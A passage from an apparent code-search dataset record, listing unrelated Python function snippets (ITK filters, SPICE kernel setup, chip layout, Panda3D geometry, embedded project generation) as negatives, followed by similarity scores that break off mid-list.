**kargs):\\n obj = itkCosImageFilterIF3IF3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def New(*args, **kargs):\\n obj = itkLabelShapeOpeningImageFilterIUL3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def createckfk(self, observer, dbname, t0, field1, nfields, mk): \\n\\n observerint=self.mpc2internal(observer)\\n instrumentint=observerint*1000\\n\\n with open(\\\"cksetupfile\\\", \\\"w\\\") as f:\\n f.write(\\\"KPL/IK \\\\nComments describing the keywords and values \\\\nto follow, as well as any other pertinent \\\\ninformation.\\\\n\\\\\\\\begindata\\\\n\\\")\\n f.write(\\\"LSK_FILE_NAME = '%s'\\\\n\\\" %(mk))\\n f.write(\\\"\\\\n\\\")\\n f.write(\\\"INTERNAL_FILE_NAME = 'Survey Sim Camera Orientation'\\\\n\\\")\\n f.write(\\\"\\\\n\\\")\\n f.write(\\\"MAKE_FAKE_SCLK = 'tmpsclk'\\\\n\\\")\\n f.write(\\\"CK_TYPE = 3\\\\n\\\")\\n f.write(\\\"CK_SEGMENT_ID = 'Instrument Orientation'\\\\n\\\")\\n f.write(\\\"INSTRUMENT_ID = %i \\\\n\\\" %(instrumentint))\\n f.write(\\\"REFERENCE_FRAME_NAME = 'J2000'\\\\n\\\")\\n f.write(\\\"ANGULAR_RATE_PRESENT = 'NO'\\\\n\\\")\\n f.write(\\\"\\\\n\\\")\\n f.write(\\\"INPUT_DATA_TYPE = 'SPICE QUATERNIONS'\\\\n\\\")\\n f.write(\\\"INPUT_TIME_TYPE = 'UTC'\\\\n\\\")\\n f.write(\\\"MAXIMUM_VALID_INTERVAL = 60\\\\n\\\") \\n f.write(\\\"\\\\n\\\")\\n f.write(\\\"PRODUCER_ID = 'Survey Sim, JPL'\\\\n\\\")\\n f.write(\\\"\\\\\\\\begintext\\\")\\n f.close()\\n\\n\\n self.readfields(dbname,field1,nfields, t0)\\n with open(\\\"ckip\\\",\\\"w\\\") as f:\\n\\n for i in range(len(self.fieldRA)):\\n quat=self.computerotmat(self.fieldRA[i], self.fieldDec[i], self.rotSkyPos[i])\\n\\n #This helps with duplicate entries. For example enigma_1189 can have same fieldID's under different propID's\\n #Issue warning for duplicate time. Have a verbose mode for displaying that (true as default)\\n if (self.fieldMJD[i] !=self.fieldMJD[i-1]):\\n JD=self.fieldMJD[i]+shared.mjd2jd\\n timestring= 'JD'+repr(JD)\\n f.write(\\\"%s %f %f %f %f\\\\n\\\" %(timestring,quat[0],quat[1],quat[2],quat[3]))\\n f.close()\\n try:\\n os.system('rm tmp.ck tmpsclk test.ck fakesclk >/dev/null')\\n except:\\n pass\\n os.system('msopck cksetupfile ckip tmp.ck > /dev/null')\\n\\n os.system('rsync tmpsclk fakesclk > /dev/null')\\n os.system('rsync tmp.ck test.ck > /dev/null')\\n\\n with open(\\\"tmp.fk\\\",\\\"w\\\") as f:\\n f.write(\\\"\\\\\\\\begindata\\\\n\\\\n\\\")\\n f.write(\\\"FRAME_CAMERA_FRAME = %i\\\\n\\\" %(instrumentint))\\n f.write(\\\"FRAME_%i_NAME = 'CAMERA_FRAME'\\\\n\\\" %(instrumentint))\\n f.write(\\\"FRAME_%i_CLASS = 3\\\\n\\\" %(instrumentint))\\n f.write(\\\"FRAME_%i_CLASS_ID = %i\\\\n\\\" %(instrumentint, instrumentint))\\n f.write(\\\"FRAME_%i_CENTER = %i\\\\n\\\" %(instrumentint, observerint))\\n f.write(\\\"CK_%i_SCLK = %i\\\\n\\\" %(instrumentint, observerint))\\n f.write(\\\"CK_%i_SPK = %i\\\\n\\\\n\\\" %(instrumentint, observerint))\\n f.write(\\\"\\\\\\\\begintext\\\\n\\\")\\n f.close()\\n \\n os.system('rsync tmp.fk test.fk')\",\n \"def create(cls, name, defn, state=None):\\n prog = cls(name, False)\\n prog.raw_data = defn\\n prog.state = state or {}\\n prog.mk_data()\\n\\n return prog\",\n \"def create_ptx(self):\\n\\n self.lower_pmos_inst=self.add_inst(name=\\\"lower_pmos\\\",\\n mod=self.pmos)\\n self.connect_inst([\\\"bl\\\", \\\"en\\\", \\\"br\\\", \\\"vdd\\\"])\\n\\n self.upper_pmos1_inst=self.add_inst(name=\\\"upper_pmos1\\\",\\n mod=self.pmos)\\n self.connect_inst([\\\"bl\\\", \\\"en\\\", \\\"vdd\\\", \\\"vdd\\\"])\\n\\n self.upper_pmos2_inst=self.add_inst(name=\\\"upper_pmos2\\\",\\n mod=self.pmos)\\n self.connect_inst([\\\"br\\\", \\\"en\\\", \\\"vdd\\\", \\\"vdd\\\"])\",\n \"def New(*args, **kargs):\\n obj = itkMeshSourcePSF3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def car_template(ncomp, ra0, ra1, dec0, dec1, res):\\n\\n if ncomp == 3:\\n pre = (3,)\\n else:\\n pre = ()\\n\\n box = get_box(ra0, ra1, dec0, dec1)\\n res = res * np.pi / (180 * 60)\\n temp = so_map()\\n shape, wcs = enmap.geometry(box, res=res, pre=pre)\\n temp.data = enmap.zeros(shape, wcs=wcs, dtype=None)\\n temp.pixel = \\\"CAR\\\"\\n temp.nside = None\\n temp.ncomp = ncomp\\n temp.geometry = temp.data.geometry[1:]\\n temp.coordinate = \\\"equ\\\"\\n return temp\",\n \"def create(self):\\n self.parent.copyCurrentWinState(self.pltw)\\n # add a new vector\\n vname = self.pltw.curvelist[self.cpos].name + 'BL'\\n (nvec, npt) = np.shape(self.pltw.blklst[self.blkno])\\n if self.pltw.pasteVector(self.data[2], self.blkno, vname):\\n xname = self.pltw.getVnam(self.blkno, self.xpos)\\n xvinfo = vectInfo(self.blkno, self.xpos, xname)\\n yvinfo = vectInfo(self.blkno, nvec, vname)\\n self.pltw.curvelist.append(curveInfo(vname, xvinfo, yvinfo))\\n self.pltw.updatePlot()\\n self.pltw.dirty = True\\n self.pltw.activecurv = self.cpos\\n self.parent.updateUI()\\n self.hide()\",\n \"def initcomponentform():\\n form = ComponentsForm()\\n form.name.value = []\\n form.id.value = []\\n form.currentstock.value = []\\n form.reorderlevel.value = []\\n form.unitprice.value = []\\n form.supplier.value = []\\n form.location.value = []\\n form.datasheet.value = []\\n return form\",\n \"def qck_gen_proj(self, master):\\r\\n if not self._check_project_name():\\r\\n return\\r\\n\\r\\n # Clear out driver list and board\\r\\n self.newProj.board = ()\\r\\n self.newProj.drvList = []\\r\\n\\r\\n # Configure ksdkProj given GUI state\\r\\n self.localSDK.get_version()\\r\\n self.newProj.name = self.widgetList[4].get()\\r\\n self.newProj.setKsdkPath(self.localSDK.path)\\r\\n self.newProj.sdkVer = self.localSDK.version\\r\\n self.newProj.useBSP = not self.localSDK.isNewVersion()\\r\\n\\r\\n # Add the board\\r\\n try:\\r\\n userBoard = int(self.widgetList[6].curselection()[0]) + 1\\r\\n self.newProj.add_board(userBoard, self.localSDK.brdList)\\r\\n except IndexError:\\r\\n tkMessageBox.showinfo(\\\"No board selected!\\\",\\\\\\r\\n \\\"Make sure a board has been selected.\\\")\\r\\n return\\r\\n\\r\\n self.widgetList[10].step(30)\\r\\n self.widgetList[10].update_idletasks()\\r\\n\\r\\n # Quick check to see if this poject already exists\\r\\n checkPath = self.newProj.sdkPath + '/' + self.newProj.parent.getDirectoryStructureHelper().getUserLinkedExamplesPath(self.newProj.board[1]) + '/' + self.newProj.name\\r\\n if os.path.isdir(checkPath):\\r\\n tkMessageBox.showinfo(\\\"Project exists\\\",\\\\\\r\\n \\\"A project by this name already exists.\\\")\\r\\n return\\r\\n\\r\\n # in quick mode there is always generated the board project\\r\\n self.newProj.isBoardProject = True\\r\\n \\r\\n # Add all drivers for this device\\r\\n self.localSDK.get_drivers()\\r\\n maskRet = kT.mask_features(kTool.KsdkTools(), self.newProj.sdkPath, self.newProj.sdkVer, \\\\\\r\\n self.localSDK.drvList, self.newProj.device[1], self.newProj.device[2])\\r\\n self.newProj.portCount = maskRet[0]\\r\\n self.newProj.dmaCount = maskRet[1]\\r\\n self.newProj.tsiVersion = maskRet[2]\\r\\n self.newProj.add_all_drv(self.localSDK.drvList)\\r\\n\\r\\n kT.debug_log('Port Count: ' + str(self.newProj.portCount))\\r\\n\\r\\n #Generate IAR project files\\r\\n #self.newProj.fast_build_IAR()\\r\\n self.newProj.workSpace = self.newProj.sdkPath + '/' + self.newProj.parent.getDirectoryStructureHelper().getUserLinkedExamplesPath(self.newProj.board[1]) + '/'\\r\\n projectPath = self.newProj.workSpace + self.newProj.name\\r\\n\\r\\n #Get all include paths lists into one list\\r\\n includeList = []\\r\\n index = 0\\r\\n isPresent = False\\r\\n while index < len(self.newProj.drvList):\\r\\n count = 0\\r\\n while count < len(self.newProj.drvList[index][2]):\\r\\n isPresent = False\\r\\n newPath = str(\\\\\\r\\n self.newProj.drvList[index][2][count]\\\\\\r\\n )\\r\\n if len(includeList) > 0:\\r\\n listIndex = 0\\r\\n while listIndex < len(includeList):\\r\\n if newPath == includeList[int(listIndex) - 1]:\\r\\n isPresent = True\\r\\n listIndex += 1\\r\\n if not isPresent:\\r\\n includeList.append(newPath)\\r\\n count += 1\\r\\n index += 1\\r\\n\\r\\n self.newProj.libList.append('platform')\\r\\n if not os.path.isdir(projectPath):\\r\\n os.makedirs(projectPath)\\r\\n self.newProj.rtos = 'bm'\\r\\n\\r\\n if not os.path.isfile(projectPath + '/main.c'):\\r\\n self.newProj.make_main_file(projectPath, includeList)\\r\\n if not os.path.isfile(projectPath + '/hardware_init.c'):\\r\\n self.newProj.make_hw_file(projectPath)\\r\\n\\r\\n self.widgetList[10].step(30)\\r\\n self.widgetList[10].update_idletasks()\\r\\n\\r\\n ## Copy over BSP files\\r\\n if self.newProj.useBSP:\\r\\n if not os.path.isdir(projectPath + '/board'):\\r\\n os.mkdir(projectPath + '/board')\\r\\n bspDir = self.newProj.sdkPath + '/examples/' + self.newProj.board[1]\\r\\n bspList = kT.list_files(bspDir)\\r\\n for f in bspList:\\r\\n if f[-2:] == '.c':\\r\\n shutil.copyfile(bspDir + '/' + f, projectPath + '/board/' + f)\\r\\n if f[-2:] == '.h':\\r\\n shutil.copyfile(bspDir + '/' + f, projectPath + '/board/' + f)\\r\\n\\r\\n if self.localSDK.isToolchainTypeSupported(kSdk.ToolchainType.IARname, self.newProj.device):\\r\\n print self.newProj.isLinked\\r\\n if self.localSDK.isNewVersion():\\r\\n newIar = kIarNew.KsdkIarNew(self.newProj)\\r\\n else:\\r\\n newIar = kIar.KsdkIar(self.newProj)\\r\\n newIar.gen_ewp(self.newProj)\\r\\n newIar.gen_eww(self.newProj)\\r\\n\\r\\n if self.localSDK.isToolchainTypeSupported(kSdk.ToolchainType.KeilMDK, self.newProj.device):\\r\\n #Generate MDK project files\\r\\n if self.localSDK.isNewVersion():\\r\\n newMdk = kMdkNew.KsdkMdkNew(self.newProj)\\r\\n else:\\r\\n newMdk = kMdk.KsdkMdk(self.newProj)\\r\\n newMdk.gen_proj(self.newProj)\\r\\n newMdk.gen_wkspace(self.newProj)\\r\\n\\r\\n if self.localSDK.isToolchainTypeSupported(kSdk.ToolchainType.KinetisDesignStudio, self.newProj.device):\\r\\n #Generate KDS project fiels\\r\\n print self.newProj.isLinked\\r\\n if self.localSDK.isNewVersion():\\r\\n newKds = kKdsNew.KsdkKdsNew(self.newProj)\\r\\n else:\\r\\n newKds = kKds.KsdkKds(self.newProj)\\r\\n\\r\\n newKds.gen_cproject(self.newProj)\\r\\n newKds.gen_project(self.newProj)\\r\\n newKds.gen_working_set(self.newProj)\\r\\n newKds.gen_debug(self.newProj)\\r\\n\\r\\n if self.localSDK.isToolchainTypeSupported(kSdk.ToolchainType.AtollicStudio, self.newProj.device):\\r\\n #Generate ATL project files\\r\\n if self.localSDK.isNewVersion():\\r\\n newAtl = kAtlNew.KsdkAtlNew(self.newProj)\\r\\n else:\\r\\n newAtl = kAtl.KsdkAtl(self.newProj)\\r\\n newAtl.gen_cproject(self.newProj)\\r\\n newAtl.gen_project(self.newProj)\\r\\n newAtl.gen_debug(self.newProj)\\r\\n newAtl.gen_settings(self.newProj)\\r\\n\\r\\n if self.localSDK.isToolchainTypeSupported(kSdk.ToolchainType.ARMgcc):\\r\\n #Generate GCC project files\\r\\n if not self.newProj.fast_build_GCC():\\r\\n tkMessageBox.showinfo(\\\"Missing CMake Files\\\",\\\\\\r\\n \\\"CMake files are missing from your KSDK installation.\\\")\\r\\n\\r\\n #Text for window\\r\\n genString = 'Your project was created in the following location:\\\\n'\\r\\n pathString = ''\\r\\n pathString += self.newProj.sdkPath + '/' + self.newProj.parent.getDirectoryStructureHelper().getUserLinkedExamplesPath( self.newProj.board[1]) + '/' + self.newProj.name + '/'\\r\\n genString += pathString\\r\\n genString += '\\\\nPress the button below to open project location folder.'\\r\\n\\r\\n #Create window to show USER that project has been generated and where it is.\\r\\n popGen = Toplevel()\\r\\n if self.newProj.osType == 'Windows':\\r\\n winH = 100 * WIN_SCALE\\r\\n winW = 600 * WIN_SCALE\\r\\n elif self.newProj.osType == 'Darwin':\\r\\n if platform.mac_ver()[0][:5] == '10.10':\\r\\n winH = 100\\r\\n winW = 600\\r\\n elif platform.mac_ver()[0][:5] == '10.11':\\r\\n winH = 100\\r\\n winW = 660\\r\\n else:\\r\\n winH = 100\\r\\n winW = 600\\r\\n popGen.config(height=winH, width=winW)\\r\\n popGen.grid()\\r\\n if self.newProj.osType == 'Linux':\\r\\n img = Image(\\\"photo\\\", data=kImg.boardImages['kds_icon.gif']) # Use the .gif in Linux\\r\\n popGen.tk.call('wm', 'iconphoto', popGen._w, img)\\r\\n popGen.title(\\\"Project created\\\")\\r\\n popGen.geometry('%dx%d+%d+%d' % (winW, winH, master.winfo_x() + 20, master.winfo_y() + 20))\\r\\n popGen.resizable(width=FALSE, height=FALSE)\\r\\n popGen.configure(background='#E7E7E7')\\r\\n\\r\\n genTxt = Label(popGen, text=genString, justify=LEFT)\\r\\n genTxt.grid(row=0, column=0, columnspan=2, padx=5, pady=5)\\r\\n\\r\\n #Create button to open project folder\\r\\n ## IF we are in windows, we need to replace all '/' with '\\\\\\\\'\\r\\n tempString = pathString[:]\\r\\n if self.newProj.osType == 'Windows':\\r\\n pathString = ''\\r\\n pathString = kT.string_replace(tempString, '/', '\\\\\\\\')\\r\\n\\r\\n genButton = Button(popGen, text='Open Project Folder', command=lambda: self.view_project(pathString, popGen))\\r\\n genButton.grid(row=2, column=0, sticky=W, padx=5, pady=5)\\r\\n\\r\\n self.widgetList[10].step(35)\\r\\n self.widgetList[10].update_idletasks()\\r\\n\\r\\n # patch to implement automation test\\r\\n self.pop_gen = popGen\\r\\n\\r\\n return\",\n \"def generaCubo(self):\\r\\n #Use Panda predefined format for vertex coordinate only\\r\\n format = GeomVertexFormat.getV3()\\r\\n \\r\\n #Build Vertex data using the created format. Vertex will never change so I use Static attribute \\r\\n vdata = GeomVertexData('CuboData', format, Geom.UHStatic)\\r\\n \\r\\n #I will have to write vertex data so I create a writer for these data\\r\\n vertex = GeomVertexWriter(vdata, 'vertex')\\r\\n \\r\\n #I now use the writer to add vertex data\\r\\n vertex.addData3f(0, 0, 0)\\r\\n vertex.addData3f(1, 1, 1)\\r\\n vertex.addData3f(0, 1, 1)\\r\\n vertex.addData3f(0, 1, 0)\\r\\n vertex.addData3f(0, 0, 1)\\r\\n vertex.addData3f(1, 0, 0)\\r\\n vertex.addData3f(1, 0, 1)\\r\\n vertex.addData3f(1, 1, 0)\\r\\n \\r\\n #I now create 12 triangles\\r\\n prim = GeomTriangles(Geom.UHStatic)\\r\\n\\r\\n #and then I add vertex to them\\r\\n #Next time use addVertices(0,1,2) !!!\\r\\n prim.addVertex(7)\\r\\n prim.addVertex(0)\\r\\n prim.addVertex(5)\\r\\n prim.closePrimitive()\\r\\n \\r\\n prim.addVertex(3)\\r\\n prim.addVertex(0)\\r\\n prim.addVertex(7)\\r\\n prim.closePrimitive()\\r\\n \\r\\n prim.addVertex(2)\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(4)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(1)\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(2)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(7)\\r\\n prim.addVertex(2)\\r\\n prim.addVertex(3)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(1)\\r\\n prim.addVertex(2)\\r\\n prim.addVertex(7)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(3)\\r\\n prim.addVertex(4)\\r\\n prim.addVertex(0)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(2)\\r\\n prim.addVertex(4)\\r\\n prim.addVertex(3)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(0)\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(5)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(4)\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(0)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(5)\\r\\n prim.addVertex(1)\\r\\n prim.addVertex(7)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(1)\\r\\n prim.addVertex(5)\\r\\n prim.closePrimitive()\\r\\n\\r\\n #Create a Geom to bing vertex data to primitives\\r\\n geom = Geom(vdata)\\r\\n geom.addPrimitive(prim)\\r\\n\\r\\n #Create a node for the Geom in order to be able to render it\\r\\n node = GeomNode('gnode')\\r\\n node.addGeom(geom)\\r\\n\\r\\n #Adde the node to the scene graph == render it!\\r\\n nodePath = render.attachNewNode(node)\\r\\n \\r\\n #is this needed?\\r\\n nodePath.setPos( 0, 5, 0)\\r\\n \\r\\n self.camera.lookAt(nodePath)\\r\\n \\r\\n base.setBackgroundColor( .0, .0, .0 )\\r\\n \\r\\n taskMgr.add(self.SpinCameraTask, \\\"SpinCameraTask\\\")\",\n \"def create_contract(symbol, sec_type, exch, prim_exch, curr):\\n contract = Contract()\\n contract.m_symbol = symbol\\n contract.m_secType = sec_type\\n contract.m_exchange = exch\\n contract.m_primaryExch = prim_exch\\n contract.m_currency = curr\\n return contract\",\n \"def create_contract(symbol, sec_type, exch, prim_exch, curr):\\n contract = Contract()\\n contract.m_symbol = symbol\\n contract.m_secType = sec_type\\n contract.m_exchange = exch\\n contract.m_primaryExch = prim_exch\\n contract.m_currency = curr\\n return contract\",\n \"def create(self):\\n self.parser.add_argument('lp_file',\\n help=\\\"Language pack file.\\\")\\n args = self.parser.parse_args()\\n with open(args.lp_file) as lang_pack_file:\\n try:\\n data = json.load(lang_pack_file)\\n except ValueError as exc:\\n print(\\\"Error in language pack file: %s\\\", str(exc))\\n sys.exit(1)\\n\\n json_data = json.dumps(data)\\n languagepack = self.client.languagepacks.create(json_data)\\n fields = ['uuid', 'name', 'description', 'compiler_versions',\\n 'os_platform']\\n data = dict([(f, getattr(languagepack, f, ''))\\n for f in fields])\\n cliutils.print_dict(data, wrap=72)\",\n \"def __init__(self, calc_id, particle_name, xp_partition):\\n tdc_FMCI_XP_Data_Base.__init__(self)\\n # name and calc_id\\n self.name = particle_name\\n self.calc_id = calc_id\\n # setup XP_Data --------------------\\n sample_dict = dict(name='regular', n_reduce=1, n_min=1)\\n self.xp = tdc_XP_Data(calc_id, particle_name, sample_dict, get_weight=True)\\n # interface to timetable -----------\\n self.timetable = self.xp.timetable\\n # setup properties -----------------\\n setup_props = tdc_Setup_Props(calc_id)\\n # normalization parameters\\n self.W0 = setup_props.get_papam('FMPProps/W0')\\n self.L = setup_props.get_papam('/GridProps/L')\\n # physical parameters from \\\"setup_properties.h5\\\"\\n self.PSR_P = setup_props.get_papam('/PulsarGapProps/P')\\n self.PSR_B12 = setup_props.get_papam('/PulsarGapProps/B_12')\\n self.PSR_Lcm = setup_props.get_papam('/GridProps/L_cm')\\n # physical parameters from \\\"cascade.input\\\": THETA and CHI\\n infile=AT.FileInput()\\n infile.ReadFile(tdc_Filenames.get_full_filename(calc_id, 'cascade.input'))\\n infile.ChangeGroup('GEOMETRY')\\n self.PSR_Theta = infile.get_param('THETA')\\n infile.ChangeGroup() \\n infile.ChangeGroup('DIMENSIONAL_CONSTANTS::PSR_ConstsInitializer')\\n self.PSR_Chi = infile.get_param('CHI')\\n infile.ChangeGroup() \\n # set xp_partition =================\\n self.set_xp_partition(xp_partition)\",\n \"def to_swc(self, contributors=\\\"\\\"):\\n from . import __version__\\n sx, sy, sz = np.diag(self.transform)[:3]\\n\\n swc_header = f\\\"\\\"\\\"# ORIGINAL_SOURCE CloudVolume {__version__}\\n# CREATURE \\n# REGION\\n# FIELD/LAYER\\n# TYPE\\n# CONTRIBUTOR {contributors}\\n# REFERENCE\\n# RAW \\n# EXTRAS \\n# SOMA_AREA\\n# SHINKAGE_CORRECTION \\n# VERSION_NUMBER {__version__}\\n# VERSION_DATE {datetime.datetime.utcnow().isoformat()}\\n# SCALE {sx:.6f} {sy:.6f} {sz:.6f}\\n\\\"\\\"\\\"\\n\\n def generate_swc(skel, offset):\\n if skel.edges.size == 0:\\n return \\\"\\\"\\n\\n index = defaultdict(set)\\n visited = defaultdict(bool)\\n for e1, e2 in skel.edges:\\n index[e1].add(e2)\\n index[e2].add(e1)\\n\\n stack = [ skel.edges[0,0] ]\\n parents = [ -1 ]\\n\\n swc = \\\"\\\"\\n\\n while stack:\\n node = stack.pop()\\n parent = parents.pop()\\n\\n if visited[node]:\\n continue\\n\\n swc += \\\"{n} {T} {x:0.6f} {y:0.6f} {z:0.6f} {R:0.6f} {P}\\\\n\\\".format(\\n n=(node + 1 + offset),\\n T=skel.vertex_types[node],\\n x=skel.vertices[node][0],\\n y=skel.vertices[node][1],\\n z=skel.vertices[node][2],\\n R=skel.radii[node],\\n P=parent if parent == -1 else (parent + 1 + offset),\\n )\\n\\n visited[node] = True\\n \\n for child in index[node]:\\n stack.append(child)\\n parents.append(node)\\n\\n return swc\\n\\n skels = self.components()\\n\\n swc = swc_header + \\\"\\\\n\\\"\\n offset = 0\\n for skel in skels:\\n swc += generate_swc(skel, offset) + \\\"\\\\n\\\"\\n offset += skel.vertices.shape[0]\\n\\n return swc\",\n \"def __init__(self, obj, solids):\\n # Add an unique property to identify the Ship instances\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"True if it is a valid ship instance, False otherwise\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"App::PropertyBool\\\",\\n \\\"IsShip\\\",\\n \\\"Ship\\\",\\n tooltip).IsShip = True\\n # Add the main dimensions\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"Ship length [m]\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"App::PropertyLength\\\",\\n \\\"Length\\\",\\n \\\"Ship\\\",\\n tooltip).Length = 0.0\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"Ship breadth [m]\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"App::PropertyLength\\\",\\n \\\"Breadth\\\",\\n \\\"Ship\\\",\\n tooltip).Breadth = 0.0\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"Ship draft [m]\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"App::PropertyLength\\\",\\n \\\"Draft\\\",\\n \\\"Ship\\\",\\n tooltip).Draft = 0.0\\n # Add the subshapes\\n obj.Shape = Part.makeCompound(solids)\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"Set of external faces of the ship hull\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"Part::PropertyPartShape\\\",\\n \\\"ExternalFaces\\\",\\n \\\"Ship\\\",\\n tooltip)\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"Set of weight instances\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"App::PropertyStringList\\\",\\n \\\"Weights\\\",\\n \\\"Ship\\\",\\n tooltip).Weights = []\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"Set of tank instances\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"App::PropertyStringList\\\",\\n \\\"Tanks\\\",\\n \\\"Ship\\\",\\n tooltip).Tanks = []\\n\\n obj.Proxy = self\",\n \"def create_instance(c_instance):\\n return AumPC40(c_instance)\",\n \"def create(self, lbda=None, source=None, instrument_name=None,\\n mjd=None, zp=None, bandname=None, zpsys=\\\"ab\\\",\\n force_it=False, **meta):\\n self._properties[\\\"lbda\\\"] = np.float(lbda) if lbda is not None else None\\n self._side_properties[\\\"source\\\"] = source\\n self._side_properties[\\\"instrument_name\\\"] = instrument_name\\n self._side_properties[\\\"meta\\\"] = meta\\n # -- Interactive ones\\n self._side_properties[\\\"zpsys\\\"] = zpsys\\n self.mjd = mjd\\n self.zp = zp\\n self.set_bandname(bandname)\\n self._update_()\",\n \"def setup(self, project_factory, snapshot_restore_factory, create_pvcs_and_pods):\\n self.pvcs, self.pods = create_pvcs_and_pods(pvc_size=3, pods_for_rwx=1)\",\n \"def __init__(self,inp='INP.mcnp'):\\n # Material dictionary for the moderator, light guide, and detector\\n self.material = {'Moderator':None,'Detector':None,'LightGuide':None}\\n self.material['Detector'] = {'name':'Detector','mt': 3, 'rho': 1.1,'matString':None} # detector\\n self.material['LightGuide'] = {'name': 'PMMA','mt':10, 'rho':0.93} # PMMA\\n self.material['Moderator'] = {'name':'HDPE','mt':456, 'rho': 0.93} # HPDE\\n \\n # Cell and Surface Inital Numbering\\n self.CellStartNum = 600\\n self.SurfaceStartNum = 600\\n self.ZeroSurfaceNum = 500\\n self.UniverseNum = 200\\n self.surfGeo = None\\n self.inp = inp\\n self.name = 'OUT_'+self.inp.strip('.mcnp')+'.'\\n self.setMaterial(0.1,'PS')\",\n \"def place_nwell_and_contact(self):\\n # adds the contact from active to metal1\\n well_contact_pos = self.upper_pmos1_inst.get_pin(\\\"D\\\").center().scale(1,0) \\\\\\n + vector(0, self.upper_pmos1_inst.uy() + contact.well.height/2 + drc[\\\"well_extend_active\\\"])\\n self.add_contact_center(layers=(\\\"active\\\", \\\"contact\\\", \\\"metal1\\\"),\\n offset=well_contact_pos,\\n implant_type=\\\"n\\\",\\n well_type=\\\"n\\\")\\n\\n\\n self.height = well_contact_pos.y + contact.well.height\\n\\n self.add_rect(layer=\\\"nwell\\\",\\n offset=vector(0,0),\\n width=self.width,\\n height=self.height)\",\n \"def add_create_pl_btn(self):\\n self.create_pl = QPushButton(\\\"Add to playlist\\\")\\n self.create_pl.clicked.connect(self.pl_btn_push)\\n self.hbtnbox.addWidget(self.create_pl)\",\n \"def create(cls,configuration,data_handler):\\n ID = configuration[config.ID] \\n d = configuration.get(config.DESCRIPTION,cls.description)\\n n = configuration.get(config.NAME,cls.name)\\n path = configuration['path'] \\n \\n #hardware._file.debug = True\\n return NIPCI6602(path,ID,n,d)\",\n \"def create_module(module_dict: Dict[str, Any], nets: List[Net]) -> Module:\\n m_data = module_dict['module']\\n footprint = m_data[0].replace('\\\"', \\\"\\\")\\n layer = convert_to_layers(get_dict_by_key(m_data, 'layer')['layer'])[0]\\n coords = get_dict_by_key(m_data, 'at')['at']\\n if len(coords) == 3 and \\\"B.\\\" in layer.name:\\n coords[2] = (float(coords[2]) + 180) % 360\\n coords[1] = str(-1*float(coords[1]))\\n attr = get_dict_by_key(m_data, 'attr')\\n smd: bool = True if (attr and attr['attr'] == 'smd') else False\\n module_texts: List[FpText] = get_texts(m_data, 'fp_text')\\n figures: List[Union[FpPoly, FpCircle, FpArc, FpLine]] = get_lines(m_data, 'fp_line')\\n figures.extend(get_circles(m_data, 'fp_circle'))\\n pads = get_pads(m_data, nets)\\n ref = [text.text for text in module_texts if text.text_type ==TextType.reference][0]\\n update_nets_with_pads(pads, nets, ref)\\n figures.extend(get_polys(m_data, 'fp_poly'))\\n figures.extend(get_arcs(m_data, 'fp_arc'))\\n return Module(footprint=footprint, layer=layer, coords=coords, smd=smd,\\n texts=module_texts, pads=pads, figures=figures, extrapads=list())\",\n \"def __init__(self, *args):\\r\\n self.part_info = args[0]\\r\\n self.part_rows = []\\r\\n self.grid_part = None\\r\\n\\r\\n for i, description in enumerate(self.part_info.participant_info_name):\\r\\n self.part_rows.append(self.create_part(i, description))\\r\\n \\r\\n self.grid_part = self.create_grid_part()\\r\\n self.field_filled = self.on_field_filled()\\r\\n self.show()\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.722886","0.6006457","0.5916641","0.5631487","0.55857074","0.5567293","0.5479314","0.547198","0.5281856","0.52459306","0.52106047","0.5193295","0.5190418","0.5168565","0.51664287","0.51517653","0.5136186","0.5127592","0.5125972","0.51216894","0.51168144","0.5112134","0.510693","0.5106078","0.5103285","0.51009655","0.5100635","0.5079539","0.50619555","0.5039057","0.5001052","0.49937442","0.49931192","0.49914914","0.4972953","0.49648413","0.49635243","0.4952579","0.4949953","0.49472997","0.49346337","0.49287018","0.49194467","0.49176586","0.49152935","0.49132237","0.49100932","0.49067914","0.49039087","0.49019247","0.49001223","0.4898675","0.48906606","0.48870254","0.488601","0.48847595","0.48816007","0.4879939","0.4879939","0.48767257","0.48766723","0.4875142","0.4870783","0.48702073","0.48589423","0.4853871","0.4843653","0.48400918","0.4835678","0.48354363","0.4834845","0.48296198","0.48264262","0.48253185","0.48201874","0.4817155","0.4813